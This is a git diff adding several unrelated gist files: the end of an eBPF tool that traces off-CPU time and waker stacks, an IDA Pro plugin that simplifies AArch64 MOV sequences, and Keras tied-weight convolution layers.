+
+    // calculate current thread's delta time
+    pid = bpf_get_current_pid_tgid();
+    tsp = start.lookup(&pid);
+    if (tsp == 0)
+        return 0;        // missed start or filtered
+    u64 delta = bpf_ktime_get_ns() - *tsp;
+    start.delete(&pid);
+    delta = delta / 1000;
+    if (delta < MINBLOCK_US)
+        return 0;
+
+    // create map key
+    u64 zero = 0, *val, bp = 0;
+    struct key_t key = {};
+    struct wokeby_t *woke;
+    bpf_get_current_comm(&key.target, sizeof(key.target));
+    bp = ctx->bp;
+
+    // unrolled loop (MAXTDEPTH):
+    int depth = 0;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out; // X
+
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    if (!(key.tret[depth++] = get_frame(&bp))) goto out;
+    key.tret[depth++] = get_frame(&bp);
+
+out:
+    woke = wokeby.lookup(&pid);
+    if (woke) {
+        // copy 1st waker stack and process name:
+        __builtin_memcpy(&key.wret0, woke->ret0, sizeof(key.wret0));
+        __builtin_memcpy(&key.waker0, woke->name0, TASK_COMM_LEN);
+
+        // copy 2nd waker stack and process name:
+        __builtin_memcpy(&key.wret1, woke->ret1, sizeof(key.wret1));
+        __builtin_memcpy(&key.waker1, woke->name1, TASK_COMM_LEN);
+
+        // XXX: can't delete yet        wokeby.delete(&pid);
+    }
+
+    val = counts.lookup_or_init(&key, &zero);
+    (*val) += delta;
+    return 0;
+}
+"""
+if args.pid:
+    filter = 'pid == %s' % args.pid
+elif args.useronly:
+    filter = '!(p->flags & PF_KTHREAD)'
+else:
+    filter = '1'
+bpf_text = bpf_text.replace('FILTER', filter)
+if debug:
+    print(bpf_text)
+
+# initialize BPF
+b = BPF(text=bpf_text)
+b.attach_kprobe(event="finish_task_switch", fn_name="oncpu")
+b.attach_kprobe(event="try_to_wake_up", fn_name="waker")
+matched = b.num_open_kprobes()
+if matched == 0:
+    print("0 functions traced. Exiting.")
+    exit()
+
+# header
+if not folded:
+    print("Tracing off-CPU time (us) by kernel stack", end="")
+    if duration < 99999999:
+        print(" for %d secs." % duration)
+    else:
+        print("... Hit Ctrl-C to end.")
+
+# output
+while (1):
+    try:
+        sleep(duration)
+    except KeyboardInterrupt:
+        # as cleanup can take many seconds, trap Ctrl-C:
+        signal.signal(signal.SIGINT, signal_ignore)
+
+    if not folded:
+        print()
+    counts = b.get_table("counts")
+    for k, v in sorted(counts.items(), key=lambda counts: counts[1].value):
+        if folded:
+            # fold target stack
+            line = k.target + ";"
+            for i in reversed(range(0, maxtdepth)):
+                if k.tret[i] == 0:
+                    continue
+                line = line + b.ksym(k.tret[i])
+                if i != 0:
+                    line = line + ";"
+
+            # add delimiter
+            line = line + ";-"
+
+            # fold waker stack
+            for i in range(0, maxwdepth):
+                line = line + ";"
+                if k.wret0[i] == 0:
+                    break;
+                line = line + b.ksym(k.wret0[i])
+            if i != 0:
+                line = line + ";" + k.waker0
+
+            # add delimiter
+            line = line + ";-"
+
+            # fold waker stack
+            for i in range(0, maxwdepth):
+                line = line + ";"
+                if k.wret1[i] == 0:
+                    break;
+                line = line + b.ksym(k.wret1[i])
+            if i != 0:
+                line = line + ";" + k.waker1
+
+            # print as a line
+            print("%s %d" % (line, v.value))
+        else:
+            # print wakeup name then stack in reverse order
+            print("    %-16s %s" % ("waker1:", k.waker1))
+            for i in reversed(range(0, maxwdepth)):
+                if k.wret1[i] == 0:
+                    continue;
+                print("    %-16x %s" % (k.wret1[i],
+                    b.ksym(k.wret1[i])))
+
+            # print delimiter
+            print("    %-16s %s" % ("-", "-"))
+
+            # print wakeup name then stack in reverse order
+            print("    %-16s %s" % ("waker0:", k.waker0))
+            for i in reversed(range(0, maxwdepth)):
+                if k.wret0[i] == 0:
+                    continue;
+                print("    %-16x %s" % (k.wret0[i],
+                    b.ksym(k.wret0[i])))
+
+            # print delimiter
+            print("    %-16s %s" % ("-", "-"))
+
+            # print default multi-line stack output
+            for i in range(0, maxtdepth):
+                if k.tret[i] == 0:
+                    break
+                print("    %-16x %s" % (k.tret[i],
+                    b.ksym(k.tret[i])))
+            print("    %-16s %s" % ("target:", k.target))
+            print("        %d\n" % v.value)
+    counts.clear()
+
+    if not folded:
+        print("Detaching...")
+    exit()
\ No newline at end of file
diff --git a/hard-gists/c6936d219db8e6635d25/._snippet.py b/hard-gists/c6936d219db8e6635d25/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c6936d219db8e6635d25/._snippet.py differ
diff --git a/hard-gists/c6936d219db8e6635d25/snippet.py b/hard-gists/c6936d219db8e6635d25/snippet.py
new file mode 100644
index 00000000..2dd5e5d3
--- /dev/null
+++ b/hard-gists/c6936d219db8e6635d25/snippet.py
@@ -0,0 +1,298 @@
+#  AArch64 mov simplifier IDA plugin
+#
+#  Copyright (c) 2015 xerub
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+# based on Rolf Rolles x86 deobfuscator http://www.msreverseengineering.com
+
+import idaapi
+import idc
+
+ARM64_MOVE_I = idaapi.ARM_mov
+
+def dump_cmd(cmd):
+	print "cs = %lx" % cmd.cs
+	print "ip = %lx" % cmd.ip
+	print "ea = %lx" % cmd.ea
+	print "itype = %lx" % cmd.itype
+	print "size = %lx" % cmd.size
+	print "auxpref = %lx" % cmd.auxpref
+	print "segpref = %lx" % cmd.segpref
+	print "insnpref = %lx" % cmd.insnpref
+	print "flags = %lx" % cmd.flags
+
+def dump_op(op):
+	print "n = %lx" % op.n
+	print "type = %lx" % op.type
+	print "offb = %lx" % op.offb
+	print "offo = %lx" % op.offo
+	print "flags = %lx" % op.flags
+	print "dtyp = %lx" % op.dtyp
+	print "reg = %lx" % op.reg
+	print "phrase = %lx" % op.phrase
+	print "value = %lx" % op.value
+	print "addr = %lx" % op.addr
+	print "specval = %lx" % op.specval
+	print "specflag1 = %lx" % op.specflag1
+	print "specflag2 = %lx" % op.specflag2
+	print "specflag3 = %lx" % op.specflag3
+	print "specflag4 = %lx" % op.specflag4
+
+def HighestSetBit(N, imm):
+	i = N - 1
+	while i >= 0:
+		if imm & (1 << i):
+			return i
+		i -= 1
+	return -1
+
+def ZeroExtendOnes(M, N):				# zero extend M ones to N width
+	return (1 << M) - 1
+
+def RORZeroExtendOnes(M, N, R):
+	val = ZeroExtendOnes(M, N)
+	return ((val >> R) & ((1 << (N - R)) - 1)) | ((val & ((1 << R) - 1)) << (N - R))
+
+def Replicate(val, bits):
+	ret = val
+	shift = bits
+	while shift < 64:				# XXX actually, it is either 32 or 64
+		ret |= (val << shift)
+		shift += bits
+	return ret
+
+def DecodeBitMasks(immN, imms, immr, immediate):
+	len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F))
+	if len < 1:
+		return None
+	levels = ZeroExtendOnes(len, 6)
+	if immediate and (imms & levels) == levels:
+		return None
+	S = imms & levels
+	R = immr & levels
+	esize = 1 << len
+	return Replicate(RORZeroExtendOnes(S + 1, esize, R), esize)
+
+def DecodeMov(opcode, total, first):
+	# opc
+	o = (opcode >> 29) & 3
+	# constant
+	k = (opcode >> 23) & 0x3F
+
+	if k == 0x24 and o == 1:			# MOV (bitmask imm) <=> ORR (immediate)
+		# sf
+		s = (opcode >> 31) & 1
+		# N
+		N = (opcode >> 22) & 1
+		if s == 0 and N != 0:
+			return None
+		# rn
+		rn = (opcode >> 5) & 0x1F
+		if rn == 31:
+			imms = (opcode >> 10) & 0x3F
+			immr = (opcode >> 16) & 0x3F
+			return DecodeBitMasks(N, imms, immr, True)
+	elif k == 0x25:					# MOVN/MOVZ/MOVK
+		# sf
+		s = (opcode >> 31) & 1
+		# hw
+		h = (opcode >> 21) & 3
+		# imm16
+		i = (opcode >> 5) & 0xFFFF
+		if s == 0 and h > 1:
+			return None
+		h *= 16
+		i <<= h
+		if o == 0:				# MOVN
+			return ~i
+		elif o == 2:				# MOVZ
+			return i
+		elif o == 3 and not first:		# MOVK
+			return (total & ~(0xFFFF << h)) | i
+	elif (k | 1) == 0x23 and not first:		# ADD (immediate)
+		# shift
+		h = (opcode >> 22) & 3
+		if h > 1:
+			return None
+		# rn
+		rd = opcode & 0x1F
+		rn = (opcode >> 5) & 0x1F
+		if rd != rn:
+			return None
+		# imm12
+		i = (opcode >> 10) & 0xFFF
+		h *= 12
+		i <<= h
+		if o & 2:				# SUB
+			return total - i
+		else:					# ADD
+			return total + i
+
+	return None
+
+def check_mov_sequence(ea):
+	oldea = ea
+	reg = -1
+	total = 0
+	is64 = False
+	while idaapi.getseg(ea).use64():
+		d = idaapi.get_long(ea)
+		# reg
+		r = d & 0x1F
+		if reg >= 0 and reg != r:
+			break
+		newval = DecodeMov(d, total, reg < 0)
+		if newval is None:
+			break
+		if reg >= 0 and idaapi.get_first_fcref_to(ea) != idaapi.BADADDR:
+			break
+		if (d >> 31) & 1:
+			is64 = True
+		total = newval
+		reg = r
+		ea += 4
+	return ea - oldea, reg, is64, total
+
+def is_my_mov(cmd):
+	if cmd.itype == ARM64_MOVE_I and cmd.flags == idaapi.INSN_MACRO and cmd.size > 4:
+		return True
+	return False
+
+def check_ubfm_shift(ea):
+	if idaapi.getseg(ea).use64():
+		opcode = idaapi.get_long(ea)
+		# opc
+		o = (opcode >> 29) & 3
+		# constant
+		k = (opcode >> 23) & 0x3F
+		if (o & 1) == 0 and k == 0x26:
+			# sf
+			s = (opcode >> 31) & 1
+			# N
+			N = (opcode >> 22) & 1
+			if s == N:
+				# imm
+				imms = (opcode >> 10) & 0x3F
+				immr = (opcode >> 16) & 0x3F
+				mask = 0x1F | ((s & N) << 5)
+				if imms == mask:
+					return idaapi.ARM_lsr if o else idaapi.ARM_asr, opcode, s, immr
+				elif immr == imms + 1:
+					return idaapi.ARM_lsl if o else idaapi.ARM_null, opcode, s, mask - imms
+	return idaapi.ARM_null, 0, 0, 0
+
+class simpA64Hook(idaapi.IDP_Hooks):
+	def __init__(self):
+		idaapi.IDP_Hooks.__init__(self)
+		self.n = idaapi.netnode("$ A64 Simplifier",0,1)
+
+	def custom_ana(self):
+		len, reg, is64, imm = check_mov_sequence(idaapi.cmd.ea)
+		if len > 4:
+			#print "0x%x: MOV/MOVK %c%d, #0x%x" % (idaapi.cmd.ea, 'X' if is64 else 'W', reg, imm)
+			#dump_cmd(idaapi.cmd)
+			#dump_op(idaapi.cmd.Op1)
+			#dump_op(idaapi.cmd.Op2)
+			idaapi.cmd.itype = ARM64_MOVE_I
+			idaapi.cmd.segpref = 14 # ARM Condition = ALways
+			idaapi.cmd.Op1.type = idaapi.o_reg
+			idaapi.cmd.Op1.dtyp = idaapi.dt_qword if is64 else idaapi.dt_dword
+			idaapi.cmd.Op1.reg = reg + 129 # Use Wn/Xn registers instead of Rn
+			idaapi.cmd.Op2.type = idaapi.o_imm
+			idaapi.cmd.Op2.dtyp = idaapi.dt_qword if is64 else idaapi.dt_dword
+			idaapi.cmd.Op2.value = imm
+			idaapi.cmd.flags = idaapi.INSN_MACRO
+			idaapi.cmd.size = len
+			return True
+		insn, regs, is64, shift = check_ubfm_shift(idaapi.cmd.ea)
+		if insn != idaapi.ARM_null:
+			idaapi.cmd.itype = insn
+			idaapi.cmd.segpref = 14
+			idaapi.cmd.Op1.type = idaapi.o_reg
+			idaapi.cmd.Op1.dtyp = idaapi.dt_qword if is64 else idaapi.dt_dword
+			idaapi.cmd.Op1.reg = (regs & 0x1F) + 129
+			idaapi.cmd.Op2.type = idaapi.o_reg
+			idaapi.cmd.Op2.dtyp = idaapi.dt_qword if is64 else idaapi.dt_dword
+			idaapi.cmd.Op2.reg = ((regs >> 5) & 0x1F) + 129
+			idaapi.cmd.Op3.type = idaapi.o_imm
+			idaapi.cmd.Op3.dtyp = idaapi.dt_qword if is64 else idaapi.dt_dword
+			idaapi.cmd.Op3.value = shift
+			idaapi.cmd.size = 4
+			return True
+		return False
+
+	def custom_mnem(self): # totally optional
+		if is_my_mov(idaapi.cmd):
+			return "MOVE"
+		return None
+
+#	def custom_out(self): # XXX ida would just append .EQ
+#		if is_my_mov(idaapi.cmd):
+#			buf = idaapi.init_output_buffer(1024)
+#			idaapi.OutMnem(16, "")
+#			idaapi.out_one_operand(0)
+#			idaapi.out_symbol(',')
+#			idaapi.OutChar(' ')
+#			idaapi.out_one_operand(1)
+#			idaapi.term_output_buffer()
+#			idaapi.MakeLine(buf)
+#			return True
+#		return False
+
+#	def custom_outop(self, op): # XXX ida would just use Rn
+#		if is_my_mov(idaapi.cmd) and op.type == idaapi.o_reg:
+#			idaapi.out_register("%c%d" % ('X' if op.dtyp == idaapi.dt_qword else 'W', op.reg))
+#			return True
+#		return False
+
+class simpa64_t(idaapi.plugin_t):
+	flags = idaapi.PLUGIN_PROC
+	comment = "Simplifier"
+	wanted_hotkey = "Alt-Z"
+	help = "Runs transparently"
+	wanted_name = "simpa64"
+	hook = None
+	enabled = 1
+
+	def init(self):
+		self.hook = None
+		if idaapi.ph_get_id() != idaapi.PLFM_ARM or idaapi.BADADDR <= 0xFFFFFFFF:
+			return idaapi.PLUGIN_SKIP
+
+		self.hook = simpA64Hook()
+		flag = self.hook.n.altval(0)
+		if flag:
+			self.enabled = flag - 1
+		print "%s is %sabled" % (self.wanted_name, "en" if self.enabled else "dis")
+		if self.enabled:
+			self.hook.hook()
+		return idaapi.PLUGIN_KEEP
+
+	def run(self, arg):
+		print "%sabling %s" % ("dis" if self.enabled else "en", self.wanted_name)
+		if self.enabled:
+			self.hook.unhook()
+		else:
+			self.hook.hook()
+		self.enabled = self.enabled ^ 1
+		self.hook.n.altset(0, self.enabled + 1)
+		idc.Refresh()
+
+	def term(self):
+		if self.hook:
+			self.hook.unhook()
+
+def PLUGIN_ENTRY():
+	return simpa64_t()
diff --git a/hard-gists/c6b3e4d47d933b057aab32c9c29c4221/._snippet.py b/hard-gists/c6b3e4d47d933b057aab32c9c29c4221/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/c6b3e4d47d933b057aab32c9c29c4221/._snippet.py differ
diff --git a/hard-gists/c6b3e4d47d933b057aab32c9c29c4221/snippet.py b/hard-gists/c6b3e4d47d933b057aab32c9c29c4221/snippet.py
new file mode 100644
index 00000000..e3d42160
--- /dev/null
+++ b/hard-gists/c6b3e4d47d933b057aab32c9c29c4221/snippet.py
@@ -0,0 +1,377 @@
+from keras import backend as K
+from keras import activations, initializations, regularizers, constraints
+from keras.engine import Layer, InputSpec
+from keras.utils.np_utils import conv_output_length
+from keras.layers import Convolution1D, Convolution2D
+import tensorflow as tf
+
+class Convolution1D_tied(Layer):
+    '''Convolution operator for filtering neighborhoods of one-dimensional inputs.
+    When using this layer as the first layer in a model,
+    either provide the keyword argument `input_dim`
+    (int, e.g. 128 for sequences of 128-dimensional vectors),
+    or `input_shape` (tuple of integers, e.g. (10, 128) for sequences
+    of 10 vectors of 128-dimensional vectors).
+    # Example
+    ```python
+        # apply a convolution 1d of length 3 to a sequence with 10 timesteps,
+        # with 64 output filters
+        model = Sequential()
+        model.add(Convolution1D(64, 3, border_mode='same', input_shape=(10, 32)))
+        # now model.output_shape == (None, 10, 64)
+        # add a new conv1d on top
+        model.add(Convolution1D(32, 3, border_mode='same'))
+        # now model.output_shape == (None, 10, 32)
+    ```
+    # Arguments
+        nb_filter: Number of convolution kernels to use
+            (dimensionality of the output).
+        filter_length: The extension (spatial or temporal) of each filter.
+        init: name of initialization function for the weights of the layer
+            (see [initializations](../initializations.md)),
+            or alternatively, Theano function to use for weights initialization.
+            This parameter is only relevant if you don't pass a `weights` argument.
+        activation: name of activation function to use
+            (see [activations](../activations.md)),
+            or alternatively, elementwise Theano function.
+            If you don't specify anything, no activation is applied
+            (ie. "linear" activation: a(x) = x).
+        weights: list of numpy arrays to set as initial weights.
+        border_mode: 'valid' or 'same'.
+        subsample_length: factor by which to subsample output.
+        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
+            (eg. L1 or L2 regularization), applied to the main weights matrix.
+        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
+            applied to the bias.
+        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
+            applied to the network output.
+        W_constraint: instance of the [constraints](../constraints.md) module
+            (eg. maxnorm, nonneg), applied to the main weights matrix.
+        b_constraint: instance of the [constraints](../constraints.md) module,
+            applied to the bias.
+        bias: whether to include a bias
+            (i.e. make the layer affine rather than linear).
+        input_dim: Number of channels/dimensions in the input.
+            Either this argument or the keyword argument `input_shape`must be
+            provided when using this layer as the first layer in a model.
+        input_length: Length of input sequences, when it is constant.
+            This argument is required if you are going to connect
+            `Flatten` then `Dense` layers upstream
+            (without it, the shape of the dense outputs cannot be computed).
+    # Input shape
+        3D tensor with shape: `(samples, steps, input_dim)`.
+    # Output shape
+        3D tensor with shape: `(samples, new_steps, nb_filter)`.
+        `steps` value might have changed due to padding.
+    '''
+    def __init__(self, nb_filter, filter_length,
+                 init='uniform', activation='linear', weights=None,
+                 border_mode='valid', subsample_length=1,
+                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
+                 W_constraint=None, b_constraint=None,
+                 bias=True, input_dim=None, input_length=None, tied_to=None,
+                 **kwargs):
+
+        if border_mode not in {'valid', 'same'}:
+            raise Exception('Invalid border mode for Convolution1D:', border_mode)
+
+        self.tied_to = tied_to
+        self.nb_filter = nb_filter #TODO may have to change this and the one below...
+        self.filter_length = tied_to.filter_length
+        self.init = initializations.get(init, dim_ordering='th')
+        self.activation = activations.get(activation)
+        assert border_mode in {'valid', 'same'}, 'border_mode must be in {valid, same}'
+        self.border_mode = border_mode
+        self.subsample_length = subsample_length
+
+        self.subsample = (subsample_length, 1)
+
+        self.W_regularizer = regularizers.get(W_regularizer)
+        self.b_regularizer = regularizers.get(b_regularizer)
+        self.activity_regularizer = regularizers.get(activity_regularizer)
+
+        self.W_constraint = constraints.get(W_constraint)
+        self.b_constraint = constraints.get(b_constraint)
+
+        self.bias = bias
+        self.input_spec = [InputSpec(ndim=3)]
+        self.initial_weights = tied_to.initial_weights
+        self.input_dim = input_dim
+        self.input_length = input_length
+        if self.input_dim:
+            kwargs['input_shape'] = (self.input_length, self.input_dim)
+        super(Convolution1D_tied, self).__init__(**kwargs)
+
+    def build(self, input_shape):
+        # input_dim = input_shape[2]
+        # self.W_shape = (self.nb_filter, input_dim, self.filter_length, 1)
+        # self.W = self.init(self.W_shape, name='{}_W'.format(self.name))
+        if self.bias:
+            self.b = K.zeros((self.nb_filter,), name='{}_b'.format(self.name))
+            self.trainable_weights = [self.b]
+        # else:
+        #     self.trainable_weights = [self.W]
+        self.regularizers = []
+        #
+        # if self.W_regularizer:
+        #     self.W_regularizer.set_param(self.W)
+        #     self.regularizers.append(self.W_regularizer)
+        #
+        if self.bias and self.b_regularizer:
+            self.b_regularizer.set_param(self.b)
+            self.regularizers.append(self.b_regularizer)
+        #
+        # if self.activity_regularizer:
+        #     self.activity_regularizer.set_layer(self)
+        #     self.regularizers.append(self.activity_regularizer)
+        #
+        # self.constraints = {}
+        # if self.W_constraint:
+        #     self.constraints[self.W] = self.W_constraint
+        if self.bias and self.b_constraint:
+            self.constraints[self.b] = self.b_constraint
+        #
+        # if self.initial_weights is not None:
+        #     self.set_weights(self.initial_weights)
+        #     del self.initial_weights
+
+    def get_output_shape_for(self, input_shape):
+        length = conv_output_length(input_shape[1],
+                                    self.filter_length,
+                                    self.border_mode,
+                                    self.subsample[0])
+        return (input_shape[0], length, self.nb_filter)
+
+    def call(self, x, mask=None):
+        x = K.expand_dims(x, -1)  # add a dimension of the right
+        x = K.permute_dimensions(x, (0, 2, 1, 3))
+
+        # TF uses the last dimension as channel dimension,
+        # instead of the 2nd one.
+        # TH kernel shape: (depth, input_depth, rows, cols)
+        # TF kernel shape: (rows, cols, input_depth, depth)
+
+        # for us, we need to switch the rows with the columns?
+        W = tf.transpose(self.tied_to.W, (1, 0, 2, 3))
+        output = K.conv2d(x, W, strides=self.subsample,
+                          border_mode=self.border_mode,
+                          dim_ordering='th')
+        if self.bias:
+            output += K.reshape(self.b, (1, self.nb_filter, 1, 1))
+        output = K.squeeze(output, 3)  # remove the dummy 3rd dimension
+        output = K.permute_dimensions(output, (0, 2, 1))
+        output = self.activation(output)
+        return output
+
+    def get_config(self):
+        config = {'nb_filter': self.nb_filter,
+                  'filter_length': self.filter_length,
+                  'init': self.init.__name__,
+                  'activation': self.activation.__name__,
+                  'border_mode': self.border_mode,
+                  'subsample_length': self.subsample_length,
+                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
+                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
+                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
+                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
+                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
+                  'bias': self.bias,
+                  'input_dim': self.input_dim,
+                  'input_length': self.input_length}
+        base_config = super(Convolution1D_tied, self).get_config()
+        return dict(list(base_config.items()) + list(config.items()))
+
+
+
+
+class Convolution2D_tied(Layer):
+    '''Convolution operator for filtering windows of two-dimensional inputs.
+    When using this layer as the first layer in a model,
+    provide the keyword argument `input_shape`
+    (tuple of integers, does not include the sample axis),
+    e.g. `input_shape=(3, 128, 128)` for 128x128 RGB pictures.
+    # Examples
+    ```python
+        # apply a 3x3 convolution with 64 output filters on a 256x256 image:
+        model = Sequential()
+        model.add(Convolution2D(64, 3, 3, border_mode='same', input_shape=(3, 256, 256)))
+        # now model.output_shape == (None, 64, 256, 256)
+        # add a 3x3 convolution on top, with 32 output filters:
+        model.add(Convolution2D(32, 3, 3, border_mode='same'))
+        # now model.output_shape == (None, 32, 256, 256)
+    ```
+    # Arguments
+        nb_filter: Number of convolution filters to use.
+        nb_row: Number of rows in the convolution kernel.
+        nb_col: Number of columns in the convolution kernel.
+        init: name of initialization function for the weights of the layer
+            (see [initializations](../initializations.md)), or alternatively,
+            Theano function to use for weights initialization.
+            This parameter is only relevant if you don't pass
+            a `weights` argument.
+        activation: name of activation function to use
+            (see [activations](../activations.md)),
+            or alternatively, elementwise Theano function.
+            If you don't specify anything, no activation is applied
+            (ie. "linear" activation: a(x) = x).
+        weights: list of numpy arrays to set as initial weights.
+        border_mode: 'valid' or 'same'.
+        subsample: tuple of length 2. Factor by which to subsample output.
+            Also called strides elsewhere.
+        W_regularizer: instance of [WeightRegularizer](../regularizers.md)
+            (eg. L1 or L2 regularization), applied to the main weights matrix.
+        b_regularizer: instance of [WeightRegularizer](../regularizers.md),
+            applied to the bias.
+        activity_regularizer: instance of [ActivityRegularizer](../regularizers.md),
+            applied to the network output.
+        W_constraint: instance of the [constraints](../constraints.md) module
+            (eg. maxnorm, nonneg), applied to the main weights matrix.
+        b_constraint: instance of the [constraints](../constraints.md) module,
+            applied to the bias.
+        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
+            (the depth) is at index 1, in 'tf' mode is it at index 3.
+            It defaults to the `image_dim_ordering` value found in your
+            Keras config file at `~/.keras/keras.json`.
+            If you never set it, then it will be "th".
+        bias: whether to include a bias
+            (i.e. make the layer affine rather than linear).
+    # Input shape
+        4D tensor with shape:
+        `(samples, channels, rows, cols)` if dim_ordering='th'
+        or 4D tensor with shape:
+        `(samples, rows, cols, channels)` if dim_ordering='tf'.
+    # Output shape
+        4D tensor with shape:
+        `(samples, nb_filter, new_rows, new_cols)` if dim_ordering='th'
+        or 4D tensor with shape:
+        `(samples, new_rows, new_cols, nb_filter)` if dim_ordering='tf'.
+        `rows` and `cols` values might have changed due to padding.
+    '''
+    def __init__(self, nb_filter, nb_row, nb_col,
+                 init='glorot_uniform', activation='linear', weights=None,
+                 border_mode='valid', subsample=(1, 1), dim_ordering='default',
+                 W_regularizer=None, b_regularizer=None, activity_regularizer=None,
+                 W_constraint=None, b_constraint=None,
+                 bias=True, tied_to=None, **kwargs):
+        if dim_ordering == 'default':
+            dim_ordering = K.image_dim_ordering()
+        if border_mode not in {'valid', 'same'}:
+            raise Exception('Invalid border mode for Convolution2D:', border_mode)
+        self.tied_to = tied_to
+        self.nb_filter = nb_filter
+        self.nb_row = tied_to.nb_row
+        self.nb_col = tied_to.nb_col
+        self.init = initializations.get(init, dim_ordering=dim_ordering)
+        self.activation = activations.get(activation)
+        assert border_mode in {'valid', 'same'}, 'border_mode must be in {valid, same}'
+        self.border_mode = border_mode
+        self.subsample = tuple(subsample)
+        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
+        self.dim_ordering = dim_ordering
+
+        self.W_regularizer = regularizers.get(W_regularizer)
+        self.b_regularizer = regularizers.get(b_regularizer)
+        self.activity_regularizer = regularizers.get(activity_regularizer)
+
+        self.W_constraint = constraints.get(W_constraint)
+        self.b_constraint = constraints.get(b_constraint)
+
+        self.bias = bias
+        self.input_spec = [InputSpec(ndim=4)]
+        self.initial_weights = tied_to.initial_weights
+        super(Convolution2D_tied, self).__init__(**kwargs)
+
+    def build(self, input_shape):
+        if self.dim_ordering == 'th':
+            stack_size = input_shape[1]
+            self.W_shape = (self.nb_filter, stack_size, self.nb_row, self.nb_col)
+        elif self.dim_ordering == 'tf':
+            stack_size = input_shape[3]
+            self.W_shape = (self.nb_row, self.nb_col, stack_size, self.nb_filter)
+        else:
+            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
+        # self.W = self.init(self.W_shape, name='{}_W'.format(self.name))
+        if self.bias:
+            self.b = K.zeros((self.nb_filter,), name='{}_b'.format(self.name))
+            self.trainable_weights = [self.b]
+        # else:
+        #     self.trainable_weights = [self.W]
+        self.regularizers = []
+
+        # if self.W_regularizer:
+        #     self.W_regularizer.set_param(self.W)
+        #     self.regularizers.append(self.W_regularizer)
+
+        if self.bias and self.b_regularizer:
+            self.b_regularizer.set_param(self.b)
+            self.regularizers.append(self.b_regularizer)
+
+        if self.activity_regularizer:
+            self.activity_regularizer.set_layer(self)
+            self.regularizers.append(self.activity_regularizer)
+
+        self.constraints = {}
+        # if self.W_constraint:
+        #     self.constraints[self.W] = self.W_constraint
+        if self.bias and self.b_constraint:
+            self.constraints[self.b] = self.b_constraint
+
+        # if self.initial_weights is not None:
+        #     self.set_weights(self.initial_weights)
+        #     del self.initial_weights
+
+    def get_output_shape_for(self, input_shape):
+        if self.dim_ordering == 'th':
+            rows = input_shape[2]
+            cols = input_shape[3]
+        elif self.dim_ordering == 'tf':
+            rows = input_shape[1]
+            cols = input_shape[2]
+        else:
+            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
+
+        rows = conv_output_length(rows, self.nb_row,
+                                  self.border_mode, self.subsample[0])
+        cols = conv_output_length(cols, self.nb_col,
+                                  self.border_mode, self.subsample[1])
+
+        if self.dim_ordering == 'th':
+            return (input_shape[0], self.nb_filter, rows, cols)
+        elif self.dim_ordering == 'tf':
+            return (input_shape[0], rows, cols, self.nb_filter)
+        else:
+            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
+
+    def call(self, x, mask=None):
+        W = tf.transpose(self.tied_to.W, (1, 0, 2, 3))
+        output = K.conv2d(x, W, strides=self.subsample,
+                          border_mode=self.border_mode,
+                          dim_ordering=self.dim_ordering,
+                          filter_shape=self.W_shape)
+        if self.bias:
+            if self.dim_ordering == 'th':
+                output += K.reshape(self.b, (1, self.nb_filter, 1, 1))
+            elif self.dim_ordering == 'tf':
+                output += K.reshape(self.b, (1, 1, 1, self.nb_filter))
+            else:
+                raise Exception('Invalid dim_ordering: ' + self.dim_ordering)
+        output = self.activation(output)
+        return output
+
+    def get_config(self):
+        config = {'nb_filter': self.nb_filter,
+                  'nb_row': self.nb_row,
+                  'nb_col': self.nb_col,
+                  'init': self.init.__name__,
+                  'activation': self.activation.__name__,
+                  'border_mode': self.border_mode,
+                  'subsample': self.subsample,
+                  'dim_ordering': self.dim_ordering,
+                  'W_regularizer': self.W_regularizer.get_config() if self.W_regularizer else None,
+                  'b_regularizer': self.b_regularizer.get_config() if self.b_regularizer else None,
+                  'activity_regularizer': self.activity_regularizer.get_config() if self.activity_regularizer else None,
+                  'W_constraint': self.W_constraint.get_config() if self.W_constraint else None,
+                  'b_constraint': self.b_constraint.get_config() if self.b_constraint else None,
+                  'bias': self.bias}
+        base_config = super(Convolution2D_tied, self).get_config()
+        return dict(list(base_config.items()) + list(config.items()))
diff --git a/hard-gists/c70fb69eef42d40bed06/._snippet.py b/hard-gists/c70fb69eef42d40bed06/._snippet.py
new file mode 100644
index 00000000..cd8af967
